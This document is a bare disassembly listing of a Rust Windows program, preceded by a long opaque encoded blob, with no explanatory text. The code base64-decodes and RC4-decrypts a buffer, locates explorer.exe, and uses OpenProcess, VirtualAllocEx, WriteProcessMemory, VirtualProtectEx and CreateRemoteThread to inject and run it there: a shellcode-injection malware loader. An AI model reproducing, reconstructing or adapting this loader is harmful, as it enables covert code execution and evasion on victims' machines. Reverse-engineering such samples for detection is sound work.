ePXo4y_e2JlnJJTKepNswPKQPIUzhzkI87GM8EPxQBFtf7Mt0JTgXssJuMMTxaNH9m800BZVflICu8tLE9IH25SZSkRSp0gNgo2NHtW5dpdEKXDwGO097ihVmHX4VUOwWc0AJpvOOFZadh0ve3n6jYflmyN0XCLiPqfXgFckPeexNku_CBsFZrimtxexD_IteF75UwXRuIgyQQ3lcKseAKBWT9m_L1RAaljcLPnT_F8WSvnZiMP0UFQgqGerkrXmPiFJC4JE6lSQFEenixlmDMgQcXpJEyWg50sWtnw3dR5tqXJQvB0QLzD7xIWE7hHprSpRt1tA1XHicslwiCjbs381EP1IRDM8GCQbLhxyNtXGlmvYBGNkTdQFzqBiiMLiSCofVGUSV59qTEjske425y58zEz7OiSeQLQ_R7qVVVlv26RdXVS_3OO0pPQ0MuIEHFsPfN1haDHnvIU8PcIgpQHKHwQNPn0CiORitXNDEFtTEsKR3nFhxnEsRAisVGvwtLDueTtbtQe2Nlr8DroTXRxamewf32utUaWUnnigD11kYeuHe3VeVW6RGvDrcAqwxMCZOzFwVvpCkgriPjUw7gs9Uoesul1PMml_FdQ7gIkrBIO5dpFj0Aghbrgayi2lrN1TSQGDOTqUrlq1Yd58MGg0x6fZtOQcCqa3LTbM3ExV7jStqKy7Mnr6xj2XgAmx2r6QW3qTQyMVhJ5SDg1PUH2a2jxBb_r5pk7JvYil6r7cS0fW8_sOE0ojKEkCWmeuf_FDPtr_x1uTOevg3blzB2M7rFVA8KttDdZaNb4OMaTIZxY4xY2nMxwJwFsvvEciWfBk1Sb2Q68KsM7eAnEMp0Hv6uaxE9qtlSS7ZDJv2yUKNmNleSMPyfAXOWFB9mo1oO7lhaPcIHkE2oL7C4pPOQTMcIAtaZE5HOaazfG7Iv3xSZ2gkpp8BhSowrurEEqn0rDSKkngS3ZQTmXrJH2O9XhHM9_AjgS7JMSzqgFY7Q2tYHlweDDGYInMc82odH6MG8GzcCz6WEHSPn1m7JDDlxtXNKR8b49AEVN3P8dVNjhkVSbHCUJlN8GBXjqdvYr1nNi1oHOuwDxQfH90Fn5XsI9MYpYROgNE2gAWhDGpN5_piI4goOfMxVSiC4LnkSzVbhKqy9o03qQ8OfgCXiVWwnwdbqTvfc3W604HYXJdqtrqcOFbPS5pLJsj98HgDejJqZXZBWsP0C2LfFmd2gFWfcC9IptMYYdcVx45gj5Etrjm5R6GIfScjMn0xxZ3AruUuYM2f1sANVaxog7R0V0F6HZVLRjF9YYz_QQtwDxJVf2FF92PB7LsShgzZXMJFlL5xqgCZZO70kDFE6Dg25QAnwpivqn7_pJpM4ykqyP3LPVpRvpM6TbNWzWpdFQUXkkvTjXEUGmCkr1vWBnhLlWlIwcEwQIIwxPPSzZjJBONBJQskb_K5V906PPAl9VIkvyLVdEUTrWSB5DKgxGAYkEoRJh5JaNU1O8iSqBHxj113YW271V4PTrXzYOU8dNx5IE7jqZJkuya0YqDCRw5FP3fNfonYhSM0o0xy_q3rzaHMsQcae5iDPKHb0WyJpaiXv710lAFjdNvXEBd_VhTu_0n_Lmg1pDWZ81fHKstfQpvV_Nt0OguQqccn4Y7EjgvgFADDzKa_sV8QTfConAaIhcC2t8FqkLAYWWqruXZQ3xqVtVtZ0aI9goBFtyIQPGjHy5J9d24H8Nry5eqcpZpItbkVthtUQYTvj0d854VScysCcAoAUmtwM1PXdKYSd58RxKRcnQwxDYj9s6vX8qK_NH7Gi6tJNFy3D83AbEeXahjc72n8Imv3F_1wQSf3cPHXTOmACxCW8mzhUMEuKFu2mEhzWpgh_DpOhqddVKDcmQBn4d5VkDLTQoumYqndrfGoLY1v_VBIpKDK1WhM8DyyyIuSIL4udJPCGUp3fKpvkQmT3KWNCR5ROrrztlqpUGAwinPleqotrp4O6cKx89k0s0kSmcjMw_VnCOg5tCTA9rSss87WyOa7PHaIiAS6dbKa1xSkDbi3RvZmOQITqs63yQvHZhaNdeDwL4OtCeU67TK95cMoSAChTzJhU783X6iz0tGHMBo1ycoI_kr0Apn9pw5I9n6VXCGBDMkyvE00_ynU0_HYFh5YQPBeBoAG5POlpx248i5jhMv5BDqvnjdK1qHSV309CCYzgoUijk9r7TLlORCe6Vsn9nw6XcrLqbHvpdRvAStlSwwFP1rtPiZhSkPDoCJXYokOB4mIai6tKaOQF4aIFiFVoR6ALDb48421S8O6xztjiWitWHr5_iYIThRWBv0GeuCgyQHDq6UtoajNEg3PQPB3EQTGMHz3YO8XxBcKPOqxAbnqnYeFu2kAqb49WrUoJIXYZDDcfz1Le8XO3g0ttEf_rqTiUQq10xf4JtErBc8LPVB0
lea rcx, [rsp + 0x1b0]
mov r8d, 1
call sym.base64::decode::decode_config::h2208d0885b1e30d6
mov rsi, qword [rsp + 0x1b0]
test rsi, rsi
je 0x140004d79
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0x60], rax
mov rbx, qword [rsp + 0x1c0]
lea rdx, [0x14026a020]
lea rcx, [rsp + 0x1b0]
mov r8d, 1
call sym.base64::decode::decode_config::h2208d0885b1e30d6
mov r14, qword [rsp + 0x1b0]
test r14, r14
je 0x140004db7
mov r15, qword [rsp + 0x1b8]
mov rdi, qword [rsp + 0x1c0]
lea rdx, [0x14026a030]
lea rcx, [rsp + 0x1b0]
mov r8d, 1
call sym.base64::decode::decode_config::h2208d0885b1e30d6
mov r12, qword [rsp + 0x1b0]
test r12, r12
je 0x140004df8
mov r13, qword [rsp + 0x1b8]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x190], xmm0
movaps xmmword [rsp + 0x180], xmm0
movaps xmmword [rsp + 0x170], xmm0
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x140], xmm0
movaps xmmword [rsp + 0x130], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0xb0], xmm0
movaps xmmword [rsp + 0x2a0], xmm0
movaps xmmword [rsp + 0x290], xmm0
movaps xmmword [rsp + 0x280], xmm0
movaps xmmword [rsp + 0x270], xmm0
movaps xmmword [rsp + 0x260], xmm0
movaps xmmword [rsp + 0x250], xmm0
movaps xmmword [rsp + 0x240], xmm0
movaps xmmword [rsp + 0x230], xmm0
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x210], xmm0
movaps xmmword [rsp + 0x200], xmm0
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmmword [rsp + 0x1c0], xmm0
movaps xmmword [rsp + 0x1b0], xmm0
test rdi, rdi
je 0x140004bd4
xor ecx, ecx
jmp 0x140004693
mov rax, r8
xor edx, edx
div rdi
movzx eax, byte [r14 + rdx]
mov byte [rsp + rcx + 0x1b1], al
inc r8
mov rcx, r8
cmp r8, 0x100
je 0x1400046e3
mov byte [rsp + rcx + 0xb0], cl
mov rax, rcx
or rax, rdi
shr rax, 0x20
je 0x1400046b0
mov rax, rcx
xor edx, edx
div rdi
jmp 0x1400046b6
mov eax, ecx
xor edx, edx
div edi
lea r8, [rcx + 1]
movzx eax, byte [r14 + rdx]
mov byte [rsp + rcx + 0x1b0], al
mov byte [rsp + rcx + 0xb1], r8b
mov rax, r8
or rax, rdi
shr rax, 0x20
jne 0x140004670
mov eax, r8d
xor edx, edx
div edi
jmp 0x140004678
mov eax, 1
xor ecx, ecx
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0xaf]
add cl, dl
add cl, byte [rsp + rax + 0x1af]
movzx ecx, cl
movzx r8d, byte [rsp + rcx + 0xb0]
mov byte [rsp + rax + 0xaf], r8b
mov byte [rsp + rcx + 0xb0], dl
movzx edx, byte [rsp + rax + 0xb0]
add cl, dl
add cl, byte [rsp + rax + 0x1b0]
movzx r8d, cl
movzx r9d, byte [rsp + r8 + 0xb0]
mov byte [rsp + rax + 0xb0], r9b
mov byte [rsp + r8 + 0xb0], dl
add rax, 2
cmp rax, 0x101
jne 0x1400046f0
test rbx, rbx
je 0x1400047c6
xor eax, eax
xor ecx, ecx
xor edx, edx
nop word cs:[rax + rax]
inc ecx
movzx ecx, cl
movzx r8d, byte [rsp + rcx + 0xb0]
add dl, r8b
add dl, byte [rsp + rcx + 0x1b0]
movzx r9d, dl
movzx r10d, byte [rsp + r9 + 0xb0]
mov byte [rsp + rcx + 0xb0], r10b
mov byte [rsp + r9 + 0xb0], r8b
add r8b, byte [rsp + rcx + 0xb0]
movzx r8d, r8b
movzx r8d, byte [rsp + r8 + 0xb0]
xor byte [rsi + rax], r8b
inc rax
cmp rbx, rax
jne 0x140004770
test r13, r13
je 0x1400047dc
mov r8d, 1
mov rcx, r12
mov rdx, r13
call sym.__rust_dealloc
test r15, r15
je 0x1400047f2
mov r8d, 1
mov rcx, r14
mov rdx, r15
call sym.__rust_dealloc
lea rcx, [rsp + 0xb0]
call sym.sysinfo::common::RefreshKind::new::hb8b00b90c27f1118
lea rcx, [rsp + 0x1b0]
lea rdx, [rsp + 0xb0]
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::new_with_specifics::h518cffb63b6ebf33
call sym.sysinfo::common::ProcessRefreshKind::everything::h3cea5279ef0ed0e1
lea rcx, [rsp + 0x1b0]
mov edx, eax
call sym._ZN79__LT_sysinfo..windows..system..System_u20_as_u20_sysinfo..traits..SystemExt_GT_27refresh_processes_specifics17h9d15bd956c
lea rcx, [rsp + 0x1b0]
call sym.__sysinfo::windows::system::System_as_sysinfo::traits::SystemExt_::processes::h5918041bb4417976
mov r15, qword [rax]
mov r12, qword [rax + 8]
movdqa xmm6, xmmword [r15]
mov rdi, qword [rax + 0x18]
mov rax, qword [0x14037ba78]
movzx eax, byte [rax]
mov ecx, 0x38
mov edx, 8
call sym.__rust_alloc
test rax, rax
je 0x140004e39
mov r14, rax
lea rax, [r15 + 0x10]
pmovmskb ecx, xmm6
not ecx
lea rdx, [r12 + r15]
inc rdx
mov qword [r14], r15
mov qword [r14 + 8], rax
mov qword [r14 + 0x10], rdx
mov word [r14 + 0x18], cx
mov qword [r14 + 0x20], rdi
lea rax, str.explorer.exe___no_process_
mov qword [r14 + 0x28], rax
mov qword [r14 + 0x30], 0xc
mov rcx, r14
call sym._ZN108__LT_core..iter..adapters..filter..Filter_LT_I_C_P_GT__u20_as_u20_core..iter..traits..iterator..Iterator_GT_4next17h1755
test rax, rax
je 0x140004e4d
mov rcx, rax
call sym.__sysinfo::windows::process::Process_as_sysinfo::traits::ProcessExt_::pid::hfbd1a380706c5e93
mov rcx, rax
call sym.__sysinfo::common::Pid_as_sysinfo::common::PidExt_::as_u32::h706bcd72a639fa28
mov ebp, eax
mov edx, 0x38
mov r8d, 8
mov rcx, r14
call sym.__rust_dealloc
lea rdx, str.kernel32.dll___no_kernel32.dll_
lea rcx, [rsp + 0x30]
mov r8d, 0xc
mov qword [rsp + 0x360], rcx
xor r9d, r9d
call sym.libloading::os::windows::Library::load_with_flags::hf438aa1ee5794d5a
mov rax, qword [rsp + 0x30]
cmp rax, 0x11
jne 0x140004e6a
mov rcx, qword [rsp + 0x38]
call sym._ZN105__LT_libloading..safe..Library_u20_as_u20_core..convert..From_LT_libloading..os..windows..Library_GT__GT_4from17h5f7ec26
mov qword [rsp + 0x70], rax
lea r8, str.GetLastError
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0xd
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x140004eca
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x68], rax
lea r8, str.OpenProcess
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0xc
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x140004f24
mov r12, qword [rsp + 0xb8]
lea r8, str.VirtualAllocEx
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0xf
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x140004f7e
mov r13, qword [rsp + 0xb8]
lea r8, str.WriteProcessMemory
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0x13
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x140004fd8
mov rdi, qword [rsp + 0xb8]
lea r8, str.VirtualProtectEx
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0x11
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x140005032
mov r14, qword [rsp + 0xb8]
lea r8, str.CreateRemoteThread
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0x13
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x14000508c
mov r15, qword [rsp + 0xb8]
lea r8, str.CloseHandle___no_CloseHandle_
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x70]
mov r9d, 0xb
mov qword [rsp + 0x358], rcx
call sym.libloading::os::windows::Library::get::h0afa34674fedadde
mov rax, qword [rsp + 0xb0]
cmp rax, 0x11
jne 0x1400050e6
mov r8d, ebp
mov rbp, qword [rsp + 0xb8]
mov ecx, 0x1fffff
xor edx, edx
call r12
mov r12, rax
test rax, rax
je 0x140005140
mov dword [rsp + 0x20], 4
mov rcx, r12
xor edx, edx
mov r8, rbx
mov r9d, 0x3000
call r13
mov r13, rax
test rax, rax
je 0x14000517f
mov qword [rsp + 0x20], 0
mov rcx, r12
mov rdx, r13
mov r8, rsi
mov r9, rbx
call rdi
test eax, eax
je 0x1400051be
mov dword [rsp + 0x3a8], 4
lea rax, [rsp + 0x3a8]
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r13
mov r8, rbx
mov r9d, 0x10
call r14
test eax, eax
je 0x1400051fd
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, r12
xor edx, edx
xor r8d, r8d
mov r9, r13
call r15
test rax, rax
je 0x140005239
mov rcx, r12
call rbp
test eax, eax
je 0x140005275
lea rcx, [rsp + 0x70]
call sym.__libloading::os::windows::Library_as_core::ops::drop::Drop_::drop::he5e6cb287c4c16c6
lea rcx, [rsp + 0x1b0]
call sym.core::ptr::drop_in_place_sysinfo::windows::system::System_::hb7bc1985d43984d7
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x140004ba7
mov r8d, 1
mov rcx, rsi
call sym.__rust_dealloc
movaps xmm6, xmmword [rsp + 0x420]
add rsp, 0x438
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x14026b1b0]
call dbg.panic_bounds_check
jmp 0x140005415
lea rcx, [0x14026b170]
lea r8, [0x1402c2150]
mov edx, 0x39
call dbg.panic
jmp 0x140005415
lea rcx, [0x14026b170]
lea r8, [0x14026b158]
mov edx, 0x39
call dbg.panic
jmp 0x140005415
lea rcx, [0x1402c1c50]
lea r8, [0x1402c1c80]
mov edx, 0x2b
call dbg.panic
jmp 0x140005415
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
lea rax, [0x1402c1cc8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::h08441f0b2cb79d7d
lea r8, [rsp + 0x1b0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140005415
mov ecx, 1
mov edx, 9
call dbg.handle_alloc_error
jmp 0x140005415
lea rax, [0x14026b0d8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b040]
lea r9, sym.core::ptr::drop_in_place_std::thread::local::AccessError_::h6666aedee2e0a86e
lea r8, [rsp + 0x1b0]
mov edx, 0x46
call dbg.unwrap_failed
jmp 0x140005415
xor ecx, ecx
call dbg.exit
jmp 0x140005415
mov qword [rsp + 0x1b0], 0
lea rax, [0x14026b1c8]
mov qword [rsp + 0x20], rax
mov rdx, qword [0x14026a2b0]
lea r8, [rsp + 0x3c8]
lea r9, [rsp + 0x1b0]
mov cl, 1
call sym.core::panicking::assert_failed::h2319b1d6625561ae
jmp 0x140005415
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1d0], rax
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
lea rax, [0x1402c1cb0]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::h08441f0b2cb79d7d
lea r8, [rsp + 0x1b0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140005415
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x1402c2108]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h3e0082d4b821386a
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call dbg.unwrap_failed
ud2
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x1402c2120]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h3e0082d4b821386a
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140005415
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x1402c2138]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_base64::decode::DecodeError_::h3e0082d4b821386a
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140005415
mov ecx, 8
mov edx, 0x38
call dbg.handle_alloc_error
jmp 0x140005415
lea rcx, [0x1402c1cec]
lea r8, [0x1402c1d00]
mov edx, 0xe
call dbg.expect_failed
jmp 0x140005415
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0xd0], rdx
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], rcx
lea rax, [0x1402c1d38]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402c1d24]
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0xb0]
mov edx, 0x13
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1d70]
mov qword [rsp + 0x20], rax
lea rcx, str.___no_GetLastError_e__
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x13
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1da8]
mov qword [rsp + 0x20], rax
lea rcx, str.___no_OpenProcess_
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x12
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1de8]
mov qword [rsp + 0x20], rax
lea rcx, str.___no_VirtualAllocEx_
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x15
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1e30]
mov qword [rsp + 0x20], rax
lea rcx, str.___no_WriteProcessMemory_
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x19
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1e70]
mov qword [rsp + 0x20], rax
lea rcx, str.___no_VirtualProtectEx_e__
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x17
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1eb8]
mov qword [rsp + 0x20], rax
lea rcx, str.___no_CreateRemoteThread_
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x19
call dbg.unwrap_failed
jmp 0x140005415
mov rcx, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rdx
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rcx
lea rax, [0x1402c1ef0]
mov qword [rsp + 0x20], rax
lea rcx, [0x1402c1edb]
lea r9, sym.core::ptr::drop_in_place_libloading::error::Error_::h77dcf8fbded0ed79
lea r8, [rsp + 0x30]
mov edx, 0x12
call dbg.unwrap_failed
jmp 0x140005415
call qword [rsp + 0x68]
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0x38], rax
lea rax, str.___OpenProcess_failed:___b
mov qword [rsp + 0xb0], rax
lea rdx, [0x1402c1f40]
jmp 0x1400052af
call qword [rsp + 0x68]
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0x38], rax
lea rax, str.___virtual_alloc_ex_failed:
mov qword [rsp + 0xb0], rax
lea rdx, [0x1402c1f98]
jmp 0x1400052af
call qword [rsp + 0x68]
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0x38], rax
lea rax, str.___write_process_memory_failed:
mov qword [rsp + 0xb0], rax
lea rdx, [0x1402c20f0]
jmp 0x1400052af
call qword [rsp + 0x68]
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0x38], rax
lea rax, str.___virtual_protect_ex_failed:
mov qword [rsp + 0xb0], rax
lea rdx, [0x1402c2098]
jmp 0x1400052af
call qword [rsp + 0x68]
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0x38], rax
lea rax, str.___create_remote_thread_failed:
mov qword [rsp + 0xb0], rax
lea rdx, [0x1402c1ff0]
jmp 0x1400052af
call qword [rsp + 0x68]
mov dword [rsp + 0x90], eax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x30], rax
lea rax, [sym.core::fmt::num::imp::__impl_core::fmt::Display_for_u32_::fmt::h88a9320d823a9a2a]
mov qword [rsp + 0x38], rax
lea rax, str.___close_handle_failed:__b___
mov qword [rsp + 0xb0], rax
lea rdx, [0x1402c2040]
mov rcx, qword [rsp + 0x358]
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov rax, qword [rsp + 0x360]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call dbg.panic_fmt
jmp 0x140005415
call dbg.capacity_overflow
jmp 0x140005415
mov ecx, 8
mov edx, 0x40
call dbg.handle_alloc_error
jmp 0x140005415
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0xc0], rax
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [0x1402c1b48]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_regex::error::Error_::h9ee37de215c55fc1
lea r8, [rsp + 0xb0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140005415
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rsp + 0x1b8]
movaps xmmword [rsp + 0x30], xmm0
lea rax, [0x1402c1b90]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b240]
lea r9, sym.core::ptr::drop_in_place_regex::error::Error_::h9ee37de215c55fc1
lea r8, [rsp + 0x30]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x140005415
mov byte [rsp + 0x30], ah
lea rax, [0x1402c1c38]
lea rsi, [rsp + 0x30]
mov edx, 6
lea rcx, str.REASON
jmp 0x1400053d3
movzx eax, byte [rsp + 0x78]
mov byte [rsp + 0x30], al
lea rax, [0x1402c1c98]
mov edx, 0x2b
lea rcx, [0x14026b240]
mov qword [rsp + 0x20], rax
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::h4c883548e708f8f3
mov r8, rsi
call dbg.unwrap_failed
jmp 0x140005415
lea rax, [0x14026b0d8]
mov qword [rsp + 0x20], rax
lea rcx, [0x14026b040]
lea r9, sym.core::ptr::drop_in_place_std::thread::local::AccessError_::h6666aedee2e0a86e
lea r8, [rsp + 0x1b0]
mov edx, 0x46
call dbg.unwrap_failed
ud2